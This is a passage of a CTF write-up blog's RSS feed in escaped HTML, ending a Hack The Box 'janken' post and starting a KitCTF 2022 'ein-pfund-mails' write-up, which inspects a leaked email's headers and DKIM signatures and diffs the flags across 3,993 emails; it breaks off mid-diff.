#B6927B);&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;34&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;35&lt;&#x2F;span&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;interactive&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h1 id=&quot;flag&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#flag&quot; aria-label=&quot;Anchor link for: flag&quot;&gt;Flag&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;janken_get_flag.png&quot; alt=&quot;get-flag&quot; &#x2F;&gt;&lt;br&gt;
We have our flag! &lt;code&gt;HTB{r0ck_p4p3R_5tr5tr_l0g1c_buG}&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
</description>
      </item>
      <item>
          <title>KitCTF 2022 - ein-pfund-mails</title>
          <pubDate>Wed, 26 Oct 2022 00:00:00 +0000</pubDate>
          <author>Cameron Blankenbuehler</author>
          <link>https://www.cblanken.dev/blog/einpfundmails/</link>
          <guid>https://www.cblanken.dev/blog/einpfundmails/</guid>
          <description xml:base="https://www.cblanken.dev/blog/einpfundmails/">&lt;h2 id=&quot;problem-description&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#problem-description&quot; aria-label=&quot;Anchor link for: problem-description&quot;&gt;Problem description&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The &lt;code&gt;ein-pfund-mails&lt;&#x2F;code&gt; challenge is a &lt;em&gt;baby&lt;&#x2F;em&gt; rated challenge in the Misc category for KitCTFCTF 2022. The title &lt;em&gt;ein pfund mails&lt;&#x2F;em&gt; is actually German for &lt;em&gt;“A pound of mail”&lt;&#x2F;em&gt;. Which makes sense since we are given an archive (&lt;code&gt;mails.tar.gz&lt;&#x2F;code&gt;) containing 3993 &lt;code&gt;.eml&lt;&#x2F;code&gt; files. We’re told one of these leaked email files contains our flag, but we’re unable to determine which file contains the correct flag.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;analysis&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#analysis&quot; aria-label=&quot;Anchor link for: analysis&quot;&gt;Analysis&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;First off, let’s take a look at one of the email files.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Return-Path: &amp;lt;mawalu98@gmail.com&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Delivered-To: martin@mawalabs.de&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Received: from mail.mawalabs.de ([fd4d:6169:6c63:6f77::e])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	by a0818493a1af with LMTP&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	id Oa&#x2F;3IrxGq2JiaTIAoqc0QA&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	(envelope-from &amp;lt;mawalu98@gmail.com&amp;gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	for &amp;lt;martin@mawalabs.de&amp;gt;; Thu, 16 Jun 2022 17:05:32 +0200&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Received: from mail-pj1-f42.google.com (mail-pj1-f42.google.com [209.85.216.42])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	(using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256&#x2F;256 bits)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	(No client certificate requested)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	by mail.mawalabs.de (Postcow) with ESMTPS id 5BA84A2171&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	for &amp;lt;martin@mawalabs.de&amp;gt;; Thu, 16 Jun 2022 17:05:27 +0200 (CEST)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Received: by mail-pj1-f42.google.com with SMTP id k12-20020a17090a404c00b001eaabc1fe5dso2079659pjg.1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        for &amp;lt;martin@mawalabs.de&amp;gt;; Thu, 16 Jun 2022 08:05:27 -0700 (PDT)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;DKIM-Signature: v=1; a=rsa-sha256; c=relaxed&#x2F;relaxed;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        d=gmail.com; s=20210112;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        h=mime-version:from:date:message-id:subject:to;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        bh=Hc1fzmKy9aocJCtYl88l4HEWgiYgp&#x2F;nBHaexg4xOWtk=;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        b=R1TrM58fPxWGqqUpauME4wQbljhoUlMEpPpf2NWBP1Hy8WrZH0MMkrqurXHAMNNx&#x2F;H&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;         I3QHbOEeHm8GjQ9GbUWHWTYt8oFutzcBiCN8+5xFbuuDoYgxyAQWpbuKcWM3h3LpkFbC&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;         IN4ps9rF3ANb&#x2F;DOTxYFf0TUGvTOSqXuwe1UBFnOwckfUFVwvh&#x2F;FYPDzOvGiXE683jxXq&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;         4GrAKzDDdbyyeKzUSyeV4ndqkTGGODLWULrUbBT&#x2F;ihyNq5Nomc5QCiw61UIflwVndFdE&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;         h1ufkxX2FEUJ2fpS9KbV8mfEqN+roncsHzXvVdo+ersxg4jQXA&#x2F;aYOf9XoaPz48Sb9qf&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;         MsMg==&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed&#x2F;relaxed;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        d=1e100.net; s=20210112;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        h=x-gm-message-state:mime-version:from:date:message-id:subject:to;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        bh=Hc1fzmKy9aocJCtYl88l4HEWgiYgp&#x2F;nBHaexg4xOWtk=;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        b=AwM4jiAdlpSKBy7IZ3nfQsHnYeQp1gvVpI&#x2F;Bpnoer&#x2F;mkdv75drjydquL+ZXUmOaySW&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;         k9jKtb&#x2F;haWXRx6TCvoAFrO&#x2F;ZN2tmDknI7r9yoKWdLP37Er4thOhniv0mKAPBeL47i&#x2F;95&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;         GG3Kfu4eMuNx&#x2F;NzhqxKPIPb6Mc+tGAfe2VisvxOk&#x2F;l5vbR8U4bWNiBwmF9Q4kLyFYMnb&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;         gPx1ZhsxQWqFIn+hr6D9vUFxiz5cAe0m2Bq6V4e24akQrLjMrBjwY94vXzZJlb4VW6cG&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;         2pffywU5CDks4qLPYnI1bkImrQJrOR3KEZSYppSm3vkBSvgJ06aTzvGRrLE18Hwmtxmv&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;         5Vnw==&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;X-Gm-Message-State: AJIora9DCvU5UatGInjShXcoDXp0abItZgRUoXxhwA+0+fDgg4Jv+3l8&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	jr6KvtgQZpxKkN+zFS&#x2F;vejX8L1MA57H5+1ZjOis2QxR6&#x2F;&#x2F;w=&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;X-Google-Smtp-Source: AGRyM1tXZeDE5&#x2F;ppkeaIx2YE297NIvPpikDXV+2nwHlgPl646MSCkIdSwtEBFkznNZNqV1uMfJsEq98wjv3m&#x2F;KYd3Vc=&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;X-Received: by 2002:a17:903:244a:b0:164:2880:4df1 with SMTP id&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; l10-20020a170903244a00b0016428804df1mr5108675pls.120.1655391924792; Thu, 16&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; Jun 2022 08:05:24 -0700 (PDT)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;MIME-Version: 1.0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;From: Martin Wagner &amp;lt;mawalu98@gmail.com&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Date: Thu, 16 Jun 2022 17:05:13 +0200&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Message-ID: &amp;lt;CAA2ev=GHMZn2+6vgHv9kEQV5h4ZWcOapubMOJtg2BTM7VsgOAw@mail.gmail.com&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Subject: Flag&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;To: martin@mawalabs.de&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Content-Type: multipart&#x2F;alternative; boundary=&amp;quot;000000000000a433c905e191f775&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ARC-Seal: i=1; s=dkim; d=mawalabs.de; t=1655391927; a=rsa-sha256; cv=none;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	b=qiV2rtXrZGucJcxohmzBoIzrGijMaDnXMKViSQCoub6PgUBRu9dXIo2JbqjIvVG3RiAsB5&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	x2y79l2rnSzipM62UfVfdnv7&#x2F;bHXC0oxlHtIqYVDK&#x2F;NqOBasDYzkgkmkAmUFIeyh7qcJ8A&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	i50585Fm1I58zMYi88Nnlq4Ou+whuc8=&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ARC-Authentication-Results: i=1;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	mail.mawalabs.de;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	dkim=pass header.d=gmail.com header.s=20210112 header.b=R1TrM58f;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	spf=pass (mail.mawalabs.de: domain of mawalu98@gmail.com designates 209.85.216.42 as permitted sender) smtp.mailfrom=mawalu98@gmail.com;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	dmarc=pass (policy=none) header.from=gmail.com&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed&#x2F;relaxed; d=mawalabs.de;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	s=dkim; t=1655391927;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	 to:to:cc:mime-version:mime-version:content-type:content-type:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	 dkim-signature; bh=Hc1fzmKy9aocJCtYl88l4HEWgiYgp&#x2F;nBHaexg4xOWtk=;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	b=oiuiewyUJBkwDRfqclseGFj1hYEfF0kN+UD7pdWf&#x2F;wun&#x2F;Sccb1T9bP6a9DGS&#x2F;liipuXPhS&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	DayxqKgsuRqvB5c1WSxQXIc2iXdKkTttQt1LgaXE1d+wSo6Hap502RMji4aZVcMM6owh&#x2F;T&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	1fhY0QCzzNrw2JCYoeMCtcZ0LNWvtTY=&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;X-Last-TLS-Session-Version: TLSv1.3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Authentication-Results: mail.mawalabs.de;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	dkim=pass header.d=gmail.com header.s=20210112 header.b=R1TrM58f;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	spf=pass (mail.mawalabs.de: domain of mawalu98@gmail.com designates 209.85.216.42 as permitted sender) smtp.mailfrom=mawalu98@gmail.com;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	dmarc=pass (policy=none) header.from=gmail.com&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;X-Spamd-Result: default: False [1.79 &#x2F; 15.00];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	RBL_SORBS_RECENT(2.00)[209.85.216.42:from];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	BAD_REP_POLICIES(2.00)[];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	NEURAL_HAM_SHORT(-2.00)[-1.000];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	MIME_GOOD(-0.10)[multipart&#x2F;alternative,text&#x2F;plain];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	RWL_MAILSPIKE_GOOD(-0.10)[209.85.216.42:from];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	MX_GOOD(-0.01)[];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	IP_REPUTATION_HAM(-0.00)[asn: 15169(0.00), country: US(-0.00), ip: 209.85.216.42(0.00)];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	FROM_HAS_DN(0.00)[];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	R_DKIM_ALLOW(0.00)[gmail.com:s=20210112];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	BCC(0.00)[];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	DWL_DNSWL_NONE(0.00)[gmail.com:dkim];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	TO_MATCH_ENVRCPT_ALL(0.00)[];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	RCPT_COUNT_ONE(0.00)[1];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	ARC_NA(0.00)[];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	CLAM_VIRUS_FAIL(0.00)[failed to scan and retransmits exceed];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	PREVIOUSLY_DELIVERED(0.00)[martin@mawalabs.de];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	RCPT_MAILCOW_DOMAIN(0.00)[mawalabs.de];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	FREEMAIL_ENVFROM(0.00)[gmail.com];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	RCVD_IN_DNSWL_NONE(0.00)[209.85.216.42:from];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	ARC_SIGNED(0.00)[mawalabs.de:s=dkim:i=1];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	R_SPF_ALLOW(0.00)[+ip4:209.85.128.0&#x2F;17];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	TO_DN_NONE(0.00)[];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	FREEMAIL_FROM(0.00)[gmail.com];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	ASN(0.00)[asn:15169, ipnet:209.85.128.0&#x2F;17, country:US];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	MID_RHS_MATCH_FROMTLD(0.00)[];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	DMARC_POLICY_ALLOW(0.00)[gmail.com,none];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	MIME_TRACE(0.00)[0:+,1:+,2:~];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	DKIM_TRACE(0.00)[gmail.com:+];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	RCVD_TLS_LAST(0.00)[];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	FROM_EQ_ENVFROM(0.00)[];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	RCVD_COUNT_TWO(0.00)[2]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;X-Rspamd-Queue-Id: 5BA84A2171&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;--000000000000a433c905e191f775&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Content-Type: text&#x2F;plain; charset=&amp;quot;UTF-8&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Hi,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;die Flag ist KCTF{1d2fa1ed91a0310dad83242abc3f8a92}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;LG&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Martin&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;--000000000000a433c905e191f775&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Content-Type: text&#x2F;html; charset=&amp;quot;UTF-8&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;div dir=&amp;quot;ltr&amp;quot;&amp;gt;Hi,&amp;lt;div&amp;gt;&amp;lt;br&amp;gt;&amp;lt;&#x2F;div&amp;gt;&amp;lt;div&amp;gt;die Flag ist KCTF{1d2fa1ed91a0310dad83242abc3f8a92}&amp;lt;&#x2F;div&amp;gt;&amp;lt;div&amp;gt;&amp;lt;br&amp;gt;&amp;lt;&#x2F;div&amp;gt;&amp;lt;div&amp;gt;LG&amp;lt;&#x2F;div&amp;gt;&amp;lt;div&amp;gt;Martin&amp;lt;&#x2F;div&amp;gt;&amp;lt;&#x2F;div&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;--000000000000a433c905e191f775--&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Of note, are several &lt;em&gt;signatures&lt;&#x2F;em&gt; and a possible flag (&lt;code&gt;KCTF{1d2fa1ed91a0310dad83242abc3f8a92}&lt;&#x2F;code&gt;).&lt;&#x2F;p&gt;
&lt;p&gt;If we take a &lt;code&gt;diff&lt;&#x2F;code&gt; of the two different emails (e.g. &lt;code&gt;diff fffc5.eml ffdef.eml&lt;&#x2F;code&gt;), only the flag is changed.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;diff&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;110c110&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D65D0E, #C34043);&quot;&gt; die Flag ist KCTF{1d2fa1ed91a0310dad83242abc3f8a92}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;---&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #76946A);&quot;&gt; die Flag ist KCTF{a3afe0043bf7736216bc7ace6efac886}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;118c118&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
